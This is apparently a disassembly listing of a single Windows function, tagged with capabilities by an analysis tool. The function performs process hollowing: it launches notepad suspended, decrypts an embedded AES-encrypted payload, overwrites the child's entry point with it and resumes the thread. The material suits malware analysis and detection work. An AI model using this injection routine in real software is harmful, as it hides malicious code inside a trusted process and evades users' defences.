Function at 0x140001fe0
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov dword [rbp - 0x40], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmm0, xmmword [str.notepad]
movups xmmword [rbp + 0x30], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rsi, qword [rsp + 0x70]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov qword [rbp - 0x78], rax
test rax, rax
je 0x14000222b
movups xmm0, xmmword [0x14003d190]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14003d1a0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14003cc90]
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_block_size]
add eax, 0x4f0
movsxd rcx, eax
call fcn.140008134
mov rdi, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x70]
xor r8d, r8d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
jne 0x14000224e
mov dword [rsp + 0x20], 0x4f0
lea r9, [0x14003cca0]
lea r8, [rsp + 0x68]
mov rdx, rdi
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
jne 0x140002254
movsxd rdx, dword [rsp + 0x68]
add rdx, rdi
lea r8, [rsp + 0x68]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
jne 0x140002225
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov edx, 8
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
mov qword [rsp + 0x20], r15
mov r9d, 0x1000
mov r8, rax
movabs r14, 0x7ff7485a0000
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movsxd rdx, dword [rbx + 0x3c]
mov ebx, dword [rdx + rbx + 0x28]
add rbx, r14
mov qword [rsp + 0x20], r15
mov r9d, 0x4e0
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, rbx
call fcn.140002260
mov rcx, rax
call fcn.140004190
lea rcx, str.pause
call fcn.14000ff90
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400021fa
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
xor eax, eax
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.1400080d0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001fb0
nop
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
lea rcx, [rsp + 0x50]
call fcn.140001380
lea rdx, [0x14003a3f0]
lea rcx, [rsp + 0x50]
call fcn.140009fa0
nop
call fcn.140001fb0
int3
call fcn.140001fb0
int3